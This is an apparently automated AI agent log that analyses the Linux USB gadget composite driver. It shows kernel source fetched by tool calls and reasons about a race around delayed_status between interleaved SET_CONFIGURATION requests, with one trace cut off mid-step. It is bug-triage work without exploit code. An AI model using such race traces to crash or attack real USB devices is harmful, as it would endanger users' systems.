953: unsigned power = gadget_is_otg(gadget) ? 8 : 100;
954: int tmp;
955:
956: if (number) {
957: list_for_each_entry(iter, &cdev->configs, list) {
958: if (iter->bConfigurationValue != number)
959: continue;
960: /*
961: * We disable the FDs of the previous
962: * configuration only if the new configuration
963: * is a valid one
964: */
965: if (cdev->config)
966: reset_config(cdev);
967: c = iter;
968: result = 0;
969: break;
970: }
971: if (result < 0)
972: goto done;
973: } else { /* Zero configuration value - need to reset the config */
974: if (cdev->config)
975: reset_config(cdev);
976: result = 0;
977: }
978:
979: DBG(cdev, "%s config #%d: %s\n",
980: usb_speed_string(gadget->speed),
981: number, c ? c->label : "unconfigured");
982:
983: if (!c)
984: goto done;
985:
986: usb_gadget_set_state(gadget, USB_STATE_CONFIGURED);
987: cdev->config = c;
988:
989: /* Initialize all interfaces by setting them to altsetting zero. */
990: for (tmp = 0; tmp < MAX_CONFIG_INTERFACES; tmp++) {
991: struct usb_function *f = c->interface[tmp];
992: struct usb_descriptor_header **descriptors;
993:
994: if (!f)
995: break;
996:
997: /*
998: * Record which endpoints are used by the function. This is used
999: * to dispatch control requests targeted at that endpoint to the
1000: * function's setup callback instead of the current
1001: * configuration's setup callback.
1002: */
1003: descriptors = function_descriptors(f, gadget->speed);
1004:
1005: for (; *descriptors; ++descriptors) {
1006: struct usb_endpoint_descriptor *ep;
1007: int addr;
1008:
1009: if ((*descriptors)->bDescriptorType != USB_DT_ENDPOINT)
1010: continue;
1011:
1012: ep = (struct usb_endpoint_descriptor *)*descriptors;
1013: addr = ((ep->bEndpointAddress & 0x80) >> 3)
1014: | usb_endpoint_num(ep);
1015: set_bit(addr, f->endpoints);
1016: }
1017:
1018: result = f->set_alt(f, tmp, 0);
1019: if (result < 0) {
1020: DBG(cdev, "interface %d (%s/%p) alt 0 --> %d\n",
1021: tmp, f->name, f, result);
1022:
1023: reset_config(cdev);
1024: goto done;
1025: }
1026:
1027: if (result == USB_GADGET_DELAYED_STATUS) {
1028: DBG(cdev,
1029: "%s: interface %d (%s) requested delayed status\n",
1030: __func__, tmp, f->name);
1031: cdev->delayed_status++;
1032: DBG(cdev, "delayed_status count %d\n",
1033: cdev->delayed_status);
1034: }
1035: }
1036:
1037: /* when we return, be sure our power usage is valid */
1038: if (c->MaxPower || (c->bmAttributes & USB_CONFIG_ATT_SELFPOWER))
1039: power = c->MaxPower;
1040: else
1041: power = CONFIG_USB_GADGET_VBUS_DRAW;
1042:
1043: if (gadget->speed < USB_SPEED_SUPER)
1044: power = min(power, 500U);
1045: else
1046: power = min(power, 900U);
1047:
1048: if (USB_CONFIG_ATT_WAKEUP & c->bmAttributes)
1049: usb_gadget_set_remote_wakeup(gadget, 1);
1050: else
1051: usb_gadget_set_remote_wakeup(gadget, 0);
1052: done:
1053: if (power > USB_SELF_POWER_VBUS_MAX_DRAW ||
1054: (c && !(c->bmAttributes & USB_CONFIG_ATT_SELFPOWER)))
1055: usb_gadget_clear_selfpowered(gadget);
1056: else
1057: usb_gadget_set_selfpowered(gadget);
1058:
1059: usb_gadget_vbus_draw(gadget, power);
1060: if (result >= 0 && cdev->delayed_status)
1061: result = USB_GADGET_DELAYED_STATUS;
1062: return result;
1063: }
SourceFile:drivers/usb/gadget/composite.c]
|
| 16/2 |
2026/08/13 11:22 |
llm |
expert |
0m
Model:
Tokens:
input: 26947
output: 37
thoughts: 71
Thoughts: **Analyzing Potential Race Conditions in Configuration Setup**
Okay, so I'm digging into this code, specifically around how the configuration is set up. I see that `cdev->delayed_status` gets incremented in both `set_config` and `composite_setup`. My initial thought is, "Okay, standard mechanism for tracking something." But then the alarm bells go off. What if `composite_setup` is called *again* before the previous delayed status, whatever that is, gets a chance to finish? Is there a risk of a race condition here? Does this subsequent call reset that counter, potentially leading to inconsistencies or missed statuses? I need to clarify what the implication is. I need to take another look at the `composite_setup` function specifically to confirm whether or not it clears or resets this delayed status counter. I need to double-check this critical piece of the system.
|
| 17/2 |
2026/08/13 11:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/composite.c Name:composite_setup]
Results: map[SourceCode:1746: /*
1747: * The setup() callback implements all the ep0 functionality that's
1748: * not handled lower down, in hardware or the hardware driver(like
1749: * device and endpoint feature flags, and their status). It's all
1750: * housekeeping for the gadget function we're implementing. Most of
1751: * the work is in config and function specific setup.
1752: */
1753: int
1754: composite_setup(struct usb_gadget *gadget, const struct usb_ctrlrequest *ctrl)
1755: {
1756: struct usb_composite_dev *cdev = get_gadget_data(gadget);
1757: struct usb_request *req = cdev->req;
1758: int value = -EOPNOTSUPP;
1759: int status = 0;
1760: u16 w_index = le16_to_cpu(ctrl->wIndex);
1761: u8 intf = w_index & 0xFF;
1762: u16 w_value = le16_to_cpu(ctrl->wValue);
1763: u16 w_length = le16_to_cpu(ctrl->wLength);
1764: struct usb_function *f = NULL;
1765: struct usb_function *iter;
1766: u8 endp;
1767:
1768: if (w_length > USB_COMP_EP0_BUFSIZ) {
1769: if (ctrl->bRequestType & USB_DIR_IN) {
1770: /* Cast away the const, we are going to overwrite on purpose. */
1771: __le16 *temp = (__le16 *)&ctrl->wLength;
1772:
1773: *temp = cpu_to_le16(USB_COMP_EP0_BUFSIZ);
1774: w_length = USB_COMP_EP0_BUFSIZ;
1775: } else {
1776: goto done;
1777: }
1778: }
1779:
1780: /* partial re-init of the response message; the function or the
1781: * gadget might need to intercept e.g. a control-OUT completion
1782: * when we delegate to it.
1783: */
1784: req->zero = 0;
1785: req->context = cdev;
1786: req->complete = composite_setup_complete;
1787: req->length = 0;
1788: gadget->ep0->driver_data = cdev;
1789:
1790: /*
1791: * Don't let non-standard requests match any of the cases below
1792: * by accident.
1793: */
1794: if ((ctrl->bRequestType & USB_TYPE_MASK) != USB_TYPE_STANDARD)
1795: goto unknown;
1796:
1797: switch (ctrl->bRequest) {
1798:
1799: /* we handle all standard USB descriptors */
1800: case USB_REQ_GET_DESCRIPTOR:
1801: if (ctrl->bRequestType != USB_DIR_IN)
1802: goto unknown;
1803: switch (w_value >> 8) {
1804:
1805: case USB_DT_DEVICE:
1806: cdev->desc.bNumConfigurations =
1807: count_configs(cdev, USB_DT_DEVICE);
1808: cdev->desc.bMaxPacketSize0 =
1809: cdev->gadget->ep0->maxpacket;
1810: if (gadget_is_superspeed(gadget)) {
1811: if (gadget->speed >= USB_SPEED_SUPER) {
1812: cdev->desc.bcdUSB = cpu_to_le16(0x0320);
1813: cdev->desc.bMaxPacketSize0 = 9;
1814: } else {
1815: cdev->desc.bcdUSB = cpu_to_le16(0x0210);
1816: }
1817: } else {
1818: if (gadget->lpm_capable || cdev->use_webusb)
1819: cdev->desc.bcdUSB = cpu_to_le16(0x0201);
1820: else
1821: cdev->desc.bcdUSB = cpu_to_le16(0x0200);
1822: }
1823:
1824: value = min_t(u16, w_length, sizeof(cdev->desc));
1825: memcpy(req->buf, &cdev->desc, value);
1826: break;
1827: case USB_DT_DEVICE_QUALIFIER:
1828: if (!gadget_is_dualspeed(gadget) ||
1829: gadget->speed >= USB_SPEED_SUPER)
1830: break;
1831: device_qual(cdev);
1832: value = min_t(int, w_length,
1833: sizeof(struct usb_qualifier_descriptor));
1834: break;
1835: case USB_DT_OTHER_SPEED_CONFIG:
1836: if (!gadget_is_dualspeed(gadget) ||
1837: gadget->speed >= USB_SPEED_SUPER)
1838: break;
1839: fallthrough;
1840: case USB_DT_CONFIG:
1841: value = config_desc(cdev, w_value);
1842: if (value >= 0)
1843: value = min_t(u16, w_length, value);
1844: break;
1845: case USB_DT_STRING:
1846: value = get_string(cdev, req->buf,
1847: w_index, w_value & 0xff);
1848: if (value >= 0)
1849: value = min_t(u16, w_length, value);
1850: break;
1851: case USB_DT_BOS:
1852: if (gadget_is_superspeed(gadget) ||
1853: gadget->lpm_capable || cdev->use_webusb) {
1854: value = bos_desc(cdev);
1855: value = min_t(u16, w_length, value);
1856: }
1857: break;
1858: case USB_DT_OTG:
1859: if (gadget_is_otg(gadget)) {
1860: struct usb_configuration *config;
1861: int otg_desc_len = 0;
1862:
1863: if (cdev->config)
1864: config = cdev->config;
1865: else
1866: config = list_first_entry_or_null(
1867: &cdev->configs,
1868: struct usb_configuration,
1869: list);
1870: if (!config)
1871: goto done;
1872:
1873: if (gadget->otg_caps &&
1874: (gadget->otg_caps->otg_rev >= 0x0200))
1875: otg_desc_len += sizeof(
1876: struct usb_otg20_descriptor);
1877: else
1878: otg_desc_len += sizeof(
1879: struct usb_otg_descriptor);
1880:
1881: value = min_t(int, w_length, otg_desc_len);
1882: memcpy(req->buf, config->descriptors[0], value);
1883: }
1884: break;
1885: }
1886: break;
1887:
1888: /* any number of configs can work */
1889: case USB_REQ_SET_CONFIGURATION:
1890: if (ctrl->bRequestType != 0)
1891: goto unknown;
1892: if (gadget_is_otg(gadget)) {
1893: if (gadget->a_hnp_support)
1894: DBG(cdev, "HNP available\n");
1895: else if (gadget->a_alt_hnp_support)
1896: DBG(cdev, "HNP on another port\n");
1897: else
1898: VDBG(cdev, "HNP inactive\n");
1899: }
1900: spin_lock(&cdev->lock);
1901: value = set_config(cdev, ctrl, w_value);
1902: spin_unlock(&cdev->lock);
1903: break;
1904: case USB_REQ_GET_CONFIGURATION:
1905: if (ctrl->bRequestType != USB_DIR_IN)
1906: goto unknown;
1907: if (cdev->config)
1908: *(u8 *)req->buf = cdev->config->bConfigurationValue;
1909: else
1910: *(u8 *)req->buf = 0;
1911: value = min_t(u16, w_length, 1);
1912: break;
1913:
1914: /* function drivers must handle get/set altsetting */
1915: case USB_REQ_SET_INTERFACE:
1916: if (ctrl->bRequestType != USB_RECIP_INTERFACE)
1917: goto unknown;
1918: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
1919: break;
1920: f = cdev->config->interface[intf];
1921: if (!f)
1922: break;
1923:
1924: /*
1925: * If there's no get_alt() method, we know only altsetting zero
1926: * works. There is no need to check if set_alt() is not NULL
1927: * as we check this in usb_add_function().
1928: */
1929: if (w_value && !f->get_alt)
1930: break;
1931:
1932: spin_lock(&cdev->lock);
1933: value = f->set_alt(f, w_index, w_value);
1934: if (value == USB_GADGET_DELAYED_STATUS) {
1935: DBG(cdev,
1936: "%s: interface %d (%s) requested delayed status\n",
1937: __func__, intf, f->name);
1938: cdev->delayed_status++;
1939: DBG(cdev, "delayed_status count %d\n",
1940: cdev->delayed_status);
1941: }
1942: spin_unlock(&cdev->lock);
1943: break;
1944: case USB_REQ_GET_INTERFACE:
1945: if (ctrl->bRequestType != (USB_DIR_IN|USB_RECIP_INTERFACE))
1946: goto unknown;
1947: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
1948: break;
1949: f = cdev->config->interface[intf];
1950: if (!f)
1951: break;
1952: /* lots of interfaces only need altsetting zero... */
1953: value = f->get_alt ? f->get_alt(f, w_index) : 0;
1954: if (value < 0)
1955: break;
1956: *((u8 *)req->buf) = value;
1957: value = min_t(u16, w_length, 1);
1958: break;
1959: case USB_REQ_GET_STATUS:
1960: if (gadget_is_otg(gadget) && gadget->hnp_polling_support &&
1961: (w_index == OTG_STS_SELECTOR)) {
1962: if (ctrl->bRequestType != (USB_DIR_IN |
1963: USB_RECIP_DEVICE))
1964: goto unknown;
1965: *((u8 *)req->buf) = gadget->host_request_flag;
1966: value = 1;
1967: break;
1968: }
1969:
1970: /*
1971: * USB 3.0 additions:
1972: * Function driver should handle get_status request. If such cb
1973: * wasn't supplied we respond with default value = 0
1974: * Note: function driver should supply such cb only for the
1975: * first interface of the function
1976: */
1977: if (!gadget_is_superspeed(gadget))
1978: goto unknown;
1979: if (ctrl->bRequestType != (USB_DIR_IN | USB_RECIP_INTERFACE))
1980: goto unknown;
1981: value = 2; /* This is the length of the get_status reply */
1982: put_unaligned_le16(0, req->buf);
1983: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
1984: break;
1985: f = cdev->config->interface[intf];
1986: if (!f)
1987: break;
1988:
1989: if (f->get_status) {
1990: status = f->get_status(f);
1991:
1992: if (status < 0)
1993: break;
1994:
1995: /* if D5 is not set, then device is not wakeup capable */
1996: if (!(f->config->bmAttributes & USB_CONFIG_ATT_WAKEUP))
1997: status &= ~(USB_INTRF_STAT_FUNC_RW_CAP | USB_INTRF_STAT_FUNC_RW);
1998: }
1999:
2000: put_unaligned_le16(status & 0x0000ffff, req->buf);
2001: break;
2002: /*
2003: * Function drivers should handle SetFeature/ClearFeature
2004: * (FUNCTION_SUSPEND) request. function_suspend cb should be supplied
2005: * only for the first interface of the function
2006: */
2007: case USB_REQ_CLEAR_FEATURE:
2008: case USB_REQ_SET_FEATURE:
2009: if (!gadget_is_superspeed(gadget))
2010: goto unknown;
2011: if (ctrl->bRequestType != (USB_DIR_OUT | USB_RECIP_INTERFACE))
2012: goto unknown;
2013: switch (w_value) {
2014: case USB_INTRF_FUNC_SUSPEND:
2015: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
2016: break;
2017: f = cdev->config->interface[intf];
2018: if (!f)
2019: break;
2020: value = 0;
2021: if (f->func_suspend) {
2022: value = f->func_suspend(f, w_index >> 8);
2023: /* SetFeature(FUNCTION_SUSPEND) */
2024: } else if (ctrl->bRequest == USB_REQ_SET_FEATURE) {
2025: if (!(f->config->bmAttributes &
2026: USB_CONFIG_ATT_WAKEUP) &&
2027: (w_index & USB_INTRF_FUNC_SUSPEND_RW))
2028: break;
2029:
2030: f->func_wakeup_armed = !!(w_index &
2031: USB_INTRF_FUNC_SUSPEND_RW);
2032:
2033: if (w_index & USB_INTRF_FUNC_SUSPEND_LP) {
2034: if (f->suspend && !f->func_suspended) {
2035: f->suspend(f);
2036: f->func_suspended = true;
2037: }
2038: /*
2039: * Handle cases where host sends function resume
2040: * through SetFeature(FUNCTION_SUSPEND) but low power
2041: * bit reset
2042: */
2043: } else {
2044: if (f->resume && f->func_suspended) {
2045: f->resume(f);
2046: f->func_suspended = false;
2047: }
2048: }
2049: /* ClearFeature(FUNCTION_SUSPEND) */
2050: } else if (ctrl->bRequest == USB_REQ_CLEAR_FEATURE) {
2051: f->func_wakeup_armed = false;
2052:
2053: if (f->resume && f->func_suspended) {
2054: f->resume(f);
2055: f->func_suspended = false;
2056: }
2057: }
2058:
2059: if (value < 0) {
2060: ERROR(cdev,
2061: "func_suspend() returned error %d\n",
2062: value);
2063: value = 0;
2064: }
2065: break;
2066: }
2067: break;
2068: default:
2069: unknown:
2070: /*
2071: * OS descriptors handling
2072: */
2073: if (cdev->use_os_string && cdev->os_desc_config &&
2074: (ctrl->bRequestType & USB_TYPE_VENDOR) &&
2075: ctrl->bRequest == cdev->b_vendor_code) {
2076: struct usb_configuration *os_desc_cfg;
2077: u8 *buf;
2078: int interface;
2079: int count = 0;
2080:
2081: req = cdev->os_desc_req;
2082: req->context = cdev;
2083: req->complete = composite_setup_complete;
2084: buf = req->buf;
2085: os_desc_cfg = cdev->os_desc_config;
2086: w_length = min_t(u16, w_length, USB_COMP_EP0_OS_DESC_BUFSIZ);
2087: memset(buf, 0, w_length);
2088: buf[5] = 0x01;
2089: switch (ctrl->bRequestType & USB_RECIP_MASK) {
2090: /*
2091: * The Microsoft CompatID OS Descriptor Spec(w_index = 0x4) and
2092: * Extended Prop OS Desc Spec(w_index = 0x5) state that the
2093: * HighByte of wValue is the InterfaceNumber and the LowByte is
2094: * the PageNumber. This high/low byte ordering is incorrectly
2095: * documented in the Spec. USB analyzer output on the below
2096: * request packets show the high/low byte inverted i.e LowByte
2097: * is the InterfaceNumber and the HighByte is the PageNumber.
2098: * Since we dont support >64KB CompatID/ExtendedProp descriptors,
2099: * PageNumber is set to 0. Hence verify that the HighByte is 0
2100: * for below two cases.
2101: */
2102: case USB_RECIP_DEVICE:
2103: if (w_index != 0x4 || (w_value >> 8))
2104: break;
2105: buf[6] = w_index;
2106: /* Number of ext compat interfaces */
2107: count = count_ext_compat(os_desc_cfg);
2108: buf[8] = count;
2109: count *= 24; /* 24 B/ext compat desc */
2110: count += 16; /* header */
2111: put_unaligned_le32(count, buf);
2112: value = w_length;
2113: if (w_length > 0x10) {
2114: value = fill_ext_compat(os_desc_cfg, buf);
2115: value = min_t(u16, w_length, value);
2116: }
2117: break;
2118: case USB_RECIP_INTERFACE:
2119: if (w_index != 0x5 || (w_value >> 8))
2120: break;
2121: interface = w_value & 0xFF;
2122: if (interface >= MAX_CONFIG_INTERFACES ||
2123: !os_desc_cfg->interface[interface])
2124: break;
2125: buf[6] = w_index;
2126: count = count_ext_prop(os_desc_cfg,
2127: interface);
2128: put_unaligned_le16(count, buf + 8);
2129: count = len_ext_prop(os_desc_cfg,
2130: interface);
2131: put_unaligned_le32(count, buf);
2132: value = w_length;
2133: if (w_length > 0x0A) {
2134: value = fill_ext_prop(os_desc_cfg,
2135: interface, buf);
2136: if (value >= 0)
2137: value = min_t(u16, w_length, value);
2138: }
2139: break;
2140: }
2141:
2142: goto check_value;
2143: }
2144:
2145: /*
2146: * WebUSB URL descriptor handling, following:
2147: * https://wicg.github.io/webusb/#device-requests
2148: */
2149: if (cdev->use_webusb &&
2150: ctrl->bRequestType == (USB_DIR_IN | USB_TYPE_VENDOR) &&
2151: w_index == WEBUSB_GET_URL &&
2152: w_value == WEBUSB_LANDING_PAGE_PRESENT &&
2153: ctrl->bRequest == cdev->b_webusb_vendor_code) {
2154: unsigned int landing_page_length;
2155: unsigned int landing_page_offset;
2156: struct webusb_url_descriptor *url_descriptor =
2157: (struct webusb_url_descriptor *)cdev->req->buf;
2158:
2159: url_descriptor->bDescriptorType = WEBUSB_URL_DESCRIPTOR_TYPE;
2160:
2161: if (strncasecmp(cdev->landing_page, "https://", 8) == 0) {
2162: landing_page_offset = 8;
2163: url_descriptor->bScheme = WEBUSB_URL_SCHEME_HTTPS;
2164: } else if (strncasecmp(cdev->landing_page, "http://", 7) == 0) {
2165: landing_page_offset = 7;
2166: url_descriptor->bScheme = WEBUSB_URL_SCHEME_HTTP;
2167: } else {
2168: landing_page_offset = 0;
2169: url_descriptor->bScheme = WEBUSB_URL_SCHEME_NONE;
2170: }
2171:
2172: landing_page_length = strnlen(cdev->landing_page,
2173: sizeof(url_descriptor->URL)
2174: - WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH + landing_page_offset);
2175:
2176: if (w_length < WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH)
2177: landing_page_length = landing_page_offset;
2178: else if (w_length <
2179: WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH + landing_page_length)
2180: landing_page_length = w_length
2181: - WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH + landing_page_offset;
2182:
2183: memcpy(url_descriptor->URL,
2184: cdev->landing_page + landing_page_offset,
2185: landing_page_length - landing_page_offset);
2186: url_descriptor->bLength = landing_page_length
2187: - landing_page_offset + WEBUSB_URL_DESCRIPTOR_HEADER_LENGTH;
2188:
2189: value = url_descriptor->bLength;
2190:
2191: goto check_value;
2192: }
2193:
2194: VDBG(cdev,
2195: "non-core control req%02x.%02x v%04x i%04x l%d\n",
2196: ctrl->bRequestType, ctrl->bRequest,
2197: w_value, w_index, w_length);
2198:
2199: /* functions always handle their interfaces and endpoints...
2200: * punt other recipients (other, WUSB, ...) to the current
2201: * configuration code.
2202: */
2203: if (cdev->config) {
2204: list_for_each_entry(f, &cdev->config->functions, list)
2205: if (f->req_match &&
2206: f->req_match(f, ctrl, false))
2207: goto try_fun_setup;
2208: } else {
2209: struct usb_configuration *c;
2210: list_for_each_entry(c, &cdev->configs, list)
2211: list_for_each_entry(f, &c->functions, list)
2212: if (f->req_match &&
2213: f->req_match(f, ctrl, true))
2214: goto try_fun_setup;
2215: }
2216: f = NULL;
2217:
2218: switch (ctrl->bRequestType & USB_RECIP_MASK) {
2219: case USB_RECIP_INTERFACE:
2220: if (!cdev->config || intf >= MAX_CONFIG_INTERFACES)
2221: break;
2222: f = cdev->config->interface[intf];
2223: break;
2224:
2225: case USB_RECIP_ENDPOINT:
2226: if (!cdev->config)
2227: break;
2228: endp = ((w_index & 0x80) >> 3) | (w_index & 0x0f);
2229: list_for_each_entry(iter, &cdev->config->functions, list) {
2230: if (test_bit(endp, iter->endpoints)) {
2231: f = iter;
2232: break;
2233: }
2234: }
2235: break;
2236: }
2237: try_fun_setup:
2238: if (f && f->setup)
2239: value = f->setup(f, ctrl);
2240: else {
2241: struct usb_configuration *c;
2242:
2243: c = cdev->config;
2244: if (!c)
2245: goto done;
2246:
2247: /* try current config's setup */
2248: if (c->setup) {
2249: value = c->setup(c, ctrl);
2250: goto done;
2251: }
2252:
2253: /* try the only function in the current config */
2254: if (!list_is_singular(&c->functions))
2255: goto done;
2256: f = list_first_entry(&c->functions, struct usb_function,
2257: list);
2258: if (f->setup)
2259: value = f->setup(f, ctrl);
2260: }
2261:
2262: goto done;
2263: }
2264:
2265: check_value:
2266: /* respond with data transfer before status phase? */
2267: if (value >= 0 && value != USB_GADGET_DELAYED_STATUS) {
2268: req->length = value;
2269: req->context = cdev;
2270: req->zero = value < w_length;
2271: value = composite_ep0_queue(cdev, req, GFP_ATOMIC);
2272: if (value < 0) {
2273: DBG(cdev, "ep_queue --> %d\n", value);
2274: req->status = 0;
2275: composite_setup_complete(gadget->ep0, req);
2276: }
2277: } else if (value == USB_GADGET_DELAYED_STATUS && w_length != 0) {
2278: WARN(cdev,
2279: "%s: Delayed status not supported for w_length != 0",
2280: __func__);
2281: }
2282:
2283: done:
2284: /* device either stalls (value < 0) or reports success */
2285: return value;
2286: }
SourceFile:drivers/usb/gadget/composite.c]
|
| 18/2 |
2026/08/13 11:22 |
llm |
expert |
0m
Model:
Tokens:
input: 35760
output: 37
thoughts: 117
Thoughts: **USB Composite Device Driver Analysis**
Okay, hold on a second. I'm just reviewing this USB composite device driver code and I've spotted something potentially problematic. It seems like `cdev->delayed_status` – that's the flag for handling delayed status requests, right? – isn't being explicitly cleared when a *new* setup request comes in during `composite_setup`. That’s a bit concerning.
If a new setup arrives, wouldn’t we want to immediately cancel or abort the effects of a *previous* delayed status? We definitely should. Let me just quickly trace back through the code, I could be missing something.
Hmm, am I right? Did I miss something? Wait. No. The code isn't clearing `cdev->delayed_status` in `composite_setup` at all. I was right the first time.
Okay, let me just double-check `composite_setup` again. Yep, definitely not cleared there. Now, where *is* it cleared? Is it in `composite_disconnect` or `composite_reset` perhaps? It seems like it's possible it could be handled there, but it's not ideal. This is something I'm going to have to look into further.
|
| 19/2 |
2026/08/13 11:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/composite.c Name:composite_disconnect]
Results: map[SourceCode:2305: void composite_disconnect(struct usb_gadget *gadget)
2306: {
2307: usb_gadget_vbus_draw(gadget, 0);
2308: __composite_disconnect(gadget);
2309: }
SourceFile:drivers/usb/gadget/composite.c]
|
| 20/2 |
2026/08/13 11:23 |
llm |
expert |
0m
Model:
Tokens:
input: 36287
output: 38
thoughts: 10
Thoughts: Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to an expert:
**Investigating a Disconnect**
Alright, before diving too deep into the issue, I should take a quick look at `__composite_disconnect`. It's a standard first step. Let's see if the disconnect is being handled as expected within the composite structure itself. A quick check here might save a lot of debugging time later. Knowing how this function behaves is critical for understanding the overall system's response to an unexpected break in the connection, so I'll prioritize this as a starting point. It's a fundamental piece, and understanding its function helps determine the next diagnostic step.
|
| 21/2 |
2026/08/13 11:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/composite.c Name:__composite_disconnect]
Results: map[SourceCode:2288: static void __composite_disconnect(struct usb_gadget *gadget)
2289: {
2290: struct usb_composite_dev *cdev = get_gadget_data(gadget);
2291: unsigned long flags;
2292:
2293: /* REVISIT: should we have config and device level
2294: * disconnect callbacks?
2295: */
2296: spin_lock_irqsave(&cdev->lock, flags);
2297: cdev->suspended = 0;
2298: if (cdev->config)
2299: reset_config(cdev);
2300: if (cdev->driver->disconnect)
2301: cdev->driver->disconnect(cdev);
2302: spin_unlock_irqrestore(&cdev->lock, flags);
2303: }
SourceFile:drivers/usb/gadget/composite.c]
|
| 22/2 |
2026/08/13 11:23 |
llm |
expert |
0m
Model:
Tokens:
input: 36761
output: 37
thoughts: 9
Thoughts: Okay, here's my attempt at summarizing the thought process, tailored for an expert audience, and delivered in the first person:
**Checking `reset_config`**
Alright, let's dive into this. The first thing I'm doing is mentally checking on `reset_config`. This likely means I'm reviewing the state of a configuration reset function or method. My expertise immediately tells me I'm looking for its role in system initialization, testing, or perhaps debugging. I'm going to quickly assess its typical use case, what kind of operations it performs, and any potential side effects. I'm trying to anticipate any possible issues with it. My brain is probably running through a mental checklist: What inputs does it take? Does it handle error conditions gracefully? Is it thread-safe? Does it properly release resources? I'm already forming an image in my head of its internal mechanics. This is likely a critical piece of infrastructure, and I want to make sure I understand it thoroughly, particularly in the context of the problem I'm currently solving. Now, what does it do?
|
| 23/2 |
2026/08/13 11:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/composite.c Name:reset_config]
Results: map[SourceCode: 928: static void reset_config(struct usb_composite_dev *cdev)
929: {
930: struct usb_function *f;
931:
932: DBG(cdev, "reset config\n");
933:
934: list_for_each_entry(f, &cdev->config->functions, list) {
935: if (f->disable)
936: f->disable(f);
937:
938: /* Section 9.1.1.6, disable remote wakeup when device is reset */
939: f->func_wakeup_armed = false;
940:
941: bitmap_zero(f->endpoints, 32);
942: }
943: cdev->config = NULL;
944: cdev->delayed_status = 0;
945: }
SourceFile:drivers/usb/gadget/composite.c]
|
| 24/2 |
2026/08/13 11:23 |
llm |
expert |
0m
Model:
Tokens:
input: 37323
output: 45
thoughts: 1476
Thoughts: **Analyzing the USB Gadget Configuration Issue**
Okay, let's break this down. It seems like the core of the problem lies in how `cdev->delayed_status` is handled in the USB gadget framework, specifically during configuration changes. The `reset_config` function is key here: it clears `cdev->delayed_status`. When a `set_config` call is made, and `cdev->config` is set, it calls `reset_config`. The setup then loops through interfaces and calls `f->set_alt`. If an interface's `f->set_alt` returns `USB_GADGET_DELAYED_STATUS`, we increment `cdev->delayed_status`. And `set_config` returns `USB_GADGET_DELAYED_STATUS`.
In the reproducer, we have two threads: one handling `SET_CONFIGURATION` requests and the other handling a `VENDOR` request. Thread 1, with `SET_CONFIGURATION`, submits and discards an URB. This is where things get interesting. When an URB is discarded, the host controller likely aborts the control transfer. A new setup packet arrives and calls `composite_setup`. However, when the `VENDOR` request is involved, `composite_setup` doesn't call `reset_config`. So, a `VENDOR` request *doesn't* clear `cdev->delayed_status`!
Here's the scenario: a new setup packet arrives, aborting the previous transfer. The gadget framework, however, might not immediately notify the function driver. The `fsg_main_thread` then picks up this exception (`FSG_STATE_CONFIG_CHANGE`) and calls `usb_composite_setup_continue`. If a `reset_config` has occurred due to a configuration change (e.g., to a config 0), `cdev->delayed_status` might be zero, leading to a warning from `usb_composite_setup_continue`!
Let's trace:
1. Host sends `SET_CONFIGURATION 1`.
2. `composite_setup` -> `set_config` -> `fsg_set_alt`.
3. `fsg_set_alt` raises `FSG_STATE_CONFIG_CHANGE` and returns `USB_GADGET_DELAYED_STATUS`.
4. `cdev->delayed_status` becomes 1.
5. Host sends `SET_CONFIGURATION 0`.
6. `composite_setup` -> `set_config` -> `reset_config`.
7. `reset_config` sets `cdev->delayed_status = 0`.
8. `set_config` for config 0 doesn't call `fsg_set_alt`.
9. `fsg_main_thread` wakes up, and calls `usb_composite_setup_continue`.
10. `usb_composite_setup_continue` sees `cdev->delayed_status == 0` and WARNs.
So, it's seemingly a race condition that triggers a warning, but there's no clear memory corruption. Looking at the code, if `cdev->delayed_status` is 0, it just warns and returns. It's safe. However, what if `cdev->delayed_status` is 1?
Let's trace with the status at 1:
1. Host sends `SET_CONFIGURATION 1`.
2. `composite_setup` -> `set_config` -> `fsg_set_alt`.
3. `fsg_set_alt` raises `FSG_STATE_CONFIG_CHANGE` and returns `USB_GADGET_DELAYED_STATUS`.
4. `cdev->delayed_status` becomes 1.
5. Host sends `SET_CONFIGURATION 0`.
6. `composite_setup` -> `set_config` -> `reset_config`.
7. `reset_config` sets `cdev->delayed_status = 0`.
8. Host sends `SET_CONFIGURATION 1` again.
9. `composite_setup` -> `set_config` -> `fsg_set_alt`.
10. `fsg_set_alt` raises `FSG_STATE_CONFIG_CHANGE` and returns `USB_GADGET_DELAYED_STATUS`.
11. `cdev->delayed_status` becomes 1.
12. `fsg_main_thread` handles the FIRST `FSG_STATE_CONFIG_CHANGE` exception.
13. `fsg_main_thread` calls `usb_composite_setup_continue`.
14. `usb_composite_setup_continue`
|
| 25/2 |
2026/08/13 11:23 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/function/f_mass_storage.c Name:do_set_interface]
Results: map[SourceCode:2309: /* Reset interface setting and re-init endpoint state (toggle etc). */
2310: static int do_set_interface(struct fsg_common *common, struct fsg_dev *new_fsg)
2311: {
2312: struct fsg_dev *fsg;
2313: int i, rc = 0;
2314:
2315: if (common->running)
2316: DBG(common, "reset interface\n");
2317:
2318: reset:
2319: /* Deallocate the requests */
2320: if (common->fsg) {
2321: fsg = common->fsg;
2322:
2323: for (i = 0; i < common->fsg_num_buffers; ++i) {
2324: struct fsg_buffhd *bh = &common->buffhds[i];
2325:
2326: if (bh->inreq) {
2327: usb_ep_free_request(fsg->bulk_in, bh->inreq);
2328: bh->inreq = NULL;
2329: }
2330: if (bh->outreq) {
2331: usb_ep_free_request(fsg->bulk_out, bh->outreq);
2332: bh->outreq = NULL;
2333: }
2334: }
2335:
2336: /* Disable the endpoints */
2337: if (fsg->bulk_in_enabled) {
2338: usb_ep_disable(fsg->bulk_in);
2339: fsg->bulk_in_enabled = 0;
2340: }
2341: if (fsg->bulk_out_enabled) {
